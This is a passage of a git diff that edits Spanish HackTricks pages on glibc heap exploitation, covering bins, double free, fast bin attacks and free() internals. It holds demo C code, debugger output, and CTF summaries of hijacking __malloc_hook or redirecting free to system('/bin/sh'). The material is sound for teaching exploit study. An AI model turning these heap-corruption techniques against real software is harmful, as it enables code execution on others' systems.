Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el contenedor tcache está lleno y un fragmento está en el contenedor pequeño:
|
||||
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el bin tcache está lleno y un fragmento está en el bin pequeño:
|
||||
```bash
|
||||
gef➤ heap bins
|
||||
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
|
||||
|
@ -478,7 +479,7 @@ chunks[0] = malloc(0x2000);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Se realizan 2 asignaciones grandes, luego se libera una (poniéndola en el bin no ordenado) y se realiza una asignación más grande (moviendo la liberada del bin no ordenado al bin grande).
|
||||
2 grandes asignaciones se realizan, luego una se libera (poniéndola en el bin no ordenado) y se realiza una asignación más grande (moviendo la liberada del bin no ordenado al bin grande).
|
||||
|
||||
Compílalo y depúralo con un punto de interrupción en el opcode `ret` de la función `main`. Luego, con `gef`, puedes ver que el bin tcache está lleno y un fragmento está en el bin grande:
|
||||
```bash
|
||||
|
@ -550,7 +551,7 @@ gets(chunk);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
Después de compilar y depurar con un punto de interrupción en el opcode `ret` de `main`, vi que el malloc devolvió la dirección `0xaaaaaaac12a0` y estos son los chunks:
|
||||
Después de compilar y depurarlo con un punto de interrupción en el opcode `ret` de `main`, vi que el malloc devolvió la dirección `0xaaaaaaac12a0` y estos son los chunks:
|
||||
```bash
|
||||
gef➤ heap chunks
|
||||
Chunk(addr=0xaaaaaaac1010, size=0x290, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
|
||||
|
@ -607,16 +608,17 @@ Consultar las verificaciones de seguridad realizadas por funciones ampliamente u
|
|||
* [https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions](https://heap-exploitation.dhavalkapil.com/diving\_into\_glibc\_heap/core\_functions)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/tcache/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Doble Liberación
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -92,7 +93,7 @@ printf("i2: %p\n", (void *)i1);
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
En este ejemplo, después de llenar la tcache con varios fragmentos liberados (7), el código **libera el fragmento `h`, luego el fragmento `i`, y luego nuevamente `h`, causando una doble liberación** (también conocida como duplicación de Fast Bin). Esto abre la posibilidad de recibir direcciones de memoria superpuestas al realojar, lo que significa que dos o más punteros pueden apuntar a la misma ubicación de memoria. Manipular datos a través de un puntero puede afectar al otro, creando un riesgo de seguridad crítico y potencial para la explotación.
|
||||
En este ejemplo, después de llenar la tcache con varios fragmentos liberados (7), el código **libera el fragmento `h`, luego el fragmento `i`, y luego `h` nuevamente, causando una doble liberación** (también conocida como duplicación de Fast Bin). Esto abre la posibilidad de recibir direcciones de memoria superpuestas al realojar, lo que significa que dos o más punteros pueden apuntar a la misma ubicación de memoria. Manipular datos a través de un puntero puede afectar al otro, creando un riesgo de seguridad crítico y potencial para la explotación.
|
||||
|
||||
Al ejecutarlo, observe cómo **`i1` e `i2` obtienen la misma dirección**:
|
||||
|
||||
|
@ -127,10 +128,10 @@ h1: 0xaaab0f0c2380
|
|||
* Un lugar donde se almacenan las direcciones PIE es en `main_arena`, que está dentro de Glibc y cerca de `__malloc_hook`.
|
||||
* Apuntamos a un desplazamiento específico de `main_arena` para asignar un fragmento allí y continuar asignando fragmentos hasta llegar a `__malloc_hook` para lograr la ejecución de código.
|
||||
* [**zero_to_hero. PicoCTF**](https://7rocky.github.io/en/ctf/picoctf/binary-exploitation/zero_to_hero/)
|
||||
* Usando los contenedores Tcache y un desbordamiento de bytes nulos, podemos lograr una situación de doble liberación:
|
||||
* Usando contenedores Tcache y un desbordamiento de byte nulo, podemos lograr una situación de doble liberación:
|
||||
* Asignamos tres fragmentos de tamaño `0x110` (`A`, `B`, `C`).
|
||||
* Liberamos `B`.
|
||||
* Liberamos `A` y asignamos nuevamente para usar el desbordamiento de bytes nulos.
|
||||
* Liberamos `A` y asignamos nuevamente para usar el desbordamiento de byte nulo.
|
||||
* Ahora el campo de tamaño de `B` es `0x100`, en lugar de `0x111`, por lo que podemos liberarlo nuevamente.
|
||||
* Tenemos un contenedor Tcache de tamaño `0x110` y uno de tamaño `0x100` que apuntan a la misma dirección. Así que tenemos una doble liberación.
|
||||
* Aprovechamos la doble liberación utilizando [Envenenamiento de Tcache](tcache-bin-attack.md)
|
||||
|
@ -139,16 +140,17 @@ h1: 0xaaab0f0c2380
|
|||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/double\_free](https://heap-exploitation.dhavalkapil.com/attacks/double\_free)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**oficial mercancía de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,19 @@
|
|||
# Ataque de Fast Bin
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Información Básica
|
||||
|
||||
|
@ -22,7 +23,7 @@ Para obtener más información sobre qué es un fast bin, consulta esta página:
|
|||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Debido a que el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y simplemente **modificar una dirección en un chunk de fast bin liberado** es suficiente para poder **asignar más tarde un chunk en cualquier dirección de memoria**.
|
||||
Dado que el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y simplemente **modificar una dirección en un chunk fast bin liberado** es suficiente para poder **asignar más tarde un chunk en cualquier dirección de memoria**.
|
||||
|
||||
En resumen:
|
||||
|
||||
|
@ -141,11 +142,11 @@ Si es posible sobrescribir el valor de la variable global **`global_max_fast`**
|
|||
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html)**:**
|
||||
* Es posible asignar fragmentos, liberarlos, leer su contenido y llenarlos (con una vulnerabilidad de desbordamiento).
|
||||
* **Consolidar fragmento para infoleak**: La técnica consiste básicamente en abusar del desbordamiento para crear un `prev_size` falso de modo que un fragmento anterior se coloque dentro de uno más grande, de manera que al asignar el más grande que contiene otro fragmento, es posible imprimir sus datos y filtrar una dirección a libc (`main_arena+88`).
|
||||
* **Sobrescribir gancho de malloc**: Para esto, y abusando de la situación de superposición anterior, fue posible tener 2 fragmentos que apuntaban a la misma memoria. Por lo tanto, liberándolos ambos (liberando otro fragmento en medio para evitar protecciones), fue posible tener el mismo fragmento en el fast bin 2 veces. Luego, fue posible asignarlo nuevamente, sobrescribir la dirección al siguiente fragmento para que apunte un poco antes de `__malloc_hook` (para que apunte a un entero que malloc piensa que es un tamaño libre - otro bypass), asignarlo nuevamente y luego asignar otro fragmento que recibirá una dirección a los ganchos de malloc.\
|
||||
* **Consolidar fragmento para infoleak**: La técnica consiste básicamente en abusar del desbordamiento para crear un `prev_size` falso para que un fragmento anterior se coloque dentro de uno más grande, de modo que al asignar el más grande que contiene otro fragmento, es posible imprimir sus datos y filtrar una dirección a libc (`main_arena+88`).
|
||||
* **Sobrescribir gancho de malloc**: Para esto, y abusando de la situación de superposición anterior, fue posible tener 2 fragmentos que apuntaban a la misma memoria. Por lo tanto, liberándolos a ambos (liberando otro fragmento en medio para evitar protecciones), fue posible tener el mismo fragmento en el fast bin 2 veces. Luego, fue posible asignarlo nuevamente, sobrescribir la dirección al siguiente fragmento para apuntar un poco antes de `__malloc_hook` (para que apunte a un entero que malloc piensa que es un tamaño libre - otro bypass), asignarlo nuevamente y luego asignar otro fragmento que recibirá una dirección a los ganchos de malloc.\
|
||||
Finalmente se escribió un **one gadget** allí.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html)**:**
|
||||
* Hay un desbordamiento de heap y uso después de liberar y doble liberación porque cuando se libera un fragmento es posible reutilizar y volver a liberar los punteros.
|
||||
* Hay un desbordamiento de montón y uso después de liberar y doble liberación porque cuando se libera un fragmento es posible reutilizar y volver a liberar los punteros.
|
||||
* **Filtrado de información de libc**: Simplemente libere algunos fragmentos y obtendrán un puntero a una parte de la ubicación de la main arena. Como se pueden reutilizar los punteros liberados, simplemente lea esta dirección.
|
||||
* **Ataque de fast bin**: Todos los punteros a las asignaciones se almacenan dentro de un array, por lo que podemos liberar un par de fragmentos de fast bin y en el último sobrescribir la dirección para apuntar un poco antes de este array de punteros. Luego, asignar un par de fragmentos con el mismo tamaño y obtendremos primero el legítimo y luego el falso que contiene el array de punteros. Ahora podemos sobrescribir estos punteros de asignación para hacer que la dirección GOT de `free` apunte a `system` y luego escribir `"/bin/sh"` en el fragmento 1 para luego llamar a `free(fragmento1)` que en su lugar ejecutará `system("/bin/sh")`.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||
|
@ -153,7 +154,7 @@ Finalmente se escribió un **one gadget** allí.
|
|||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html)
|
||||
* Después de un filtrado de información abusando del unsorted bin con un UAF para filtrar una dirección de libc y una dirección de PIE, el exploit de este CTF utilizó un ataque de fast bin para asignar un fragmento en un lugar donde estaban ubicados los punteros a fragmentos controlados, por lo que fue posible sobrescribir ciertos punteros para escribir un one gadget en la GOT.
|
||||
* Puedes encontrar un ataque de Fast Bin abusado a través de un ataque de unsorted bin:
|
||||
* Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/heap (cuando sea necesario).
|
||||
* Ten en cuenta que es común antes de realizar ataques de fast bin abusar de las listas de liberación para filtrar direcciones de libc/montón (cuando sea necesario).
|
||||
* [**Fábrica de Robots. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
* Solo podemos asignar fragmentos de tamaño mayor que `0x100`.
|
||||
* Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1/16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
|
||||
|
@ -163,16 +164,17 @@ Finalmente se escribió un **one gadget** allí.
|
|||
[unsorted-bin-attack.md](unsorted-bin-attack.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,17 +1,33 @@
|
|||
# Funciones de Memoria del Heap
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
##
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,30 @@
|
|||
# free
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Resumen del Pedido Gratuito <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
(No se explican comprobaciones en este resumen y algunos casos se han omitido por brevedad)
|
||||
(No se explican todas las comprobaciones en este resumen y algunos casos se han omitido por brevedad)
|
||||
|
||||
1. Si la dirección es nula, no hacer nada
|
||||
2. Si el fragmento fue asignado mediante `mmap`, desasignarlo y finalizar
|
||||
2. Si el fragmento fue asignado con `mmap`, desasignarlo y finalizar
|
||||
3. Llamar a `_int_free`:
|
||||
1. Si es posible, añadir el fragmento al tcache
|
||||
2. Si es posible, añadir el fragmento al fast bin
|
||||
3. Llamar a `_int_free_merge_chunk` para consolidar el fragmento si es necesario y añadirlo a la lista desordenada
|
||||
1. Si es posible, agregar el fragmento al tcache
|
||||
2. Si es posible, agregar el fragmento al fast bin
|
||||
3. Llamar a `_int_free_merge_chunk` para consolidar el fragmento si es necesario y agregarlo a la lista no ordenada
|
||||
|
||||
## \_\_libc\_free <a href="#libc_free" id="libc_free"></a>
|
||||
|
||||
|
@ -31,8 +32,8 @@ Otras formas de apoyar a HackTricks:
|
|||
|
||||
* Si la dirección pasada es Null (0), no hacer nada.
|
||||
* Comprobar la etiqueta del puntero
|
||||
* Si el fragmento está `mmaped`, desasignarlo y eso es todo
|
||||
* Si no, añadir el color y llamar a `_int_free` sobre él
|
||||
* Si el fragmento está asignado con `mmap`, desasignarlo y eso es todo
|
||||
* Si no, agregar el color y llamar a `_int_free` sobre él
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -135,9 +136,13 @@ Primero intentará asignar este fragmento en el tcache relacionado. Sin embargo,
|
|||
|
||||
* Si hay más entradas que `mp_.tcache_count`: `free(): se detectaron demasiados fragmentos en el tcache`
|
||||
* Si la entrada no está alineada: `free(): fragmento no alineado detectado en tcache 2`
|
||||
* si el fragmento liberado ya fue liberado y está presente como fragmento en el tcache: `free(): se detectó doble liberación en tcache 2`
|
||||
* si el fragmento liberado ya fue liberado y está presente como fragmento en el tcache: `free(): doble liberación detectada en tcache 2`
|
||||
|
||||
Si todo va bien, el fragmento se agrega al tcache y la función retorna.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>_int_free tcache</summary>
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L4515C1-L4554C7
|
||||
#if USE_TCACHE
|
||||
|
@ -190,7 +195,7 @@ Comienza por verificar que el tamaño sea adecuado para el fast bin y verifica s
|
|||
Luego, agrega el chunk liberado en la parte superior del fast bin mientras realizas algunas verificaciones:
|
||||
|
||||
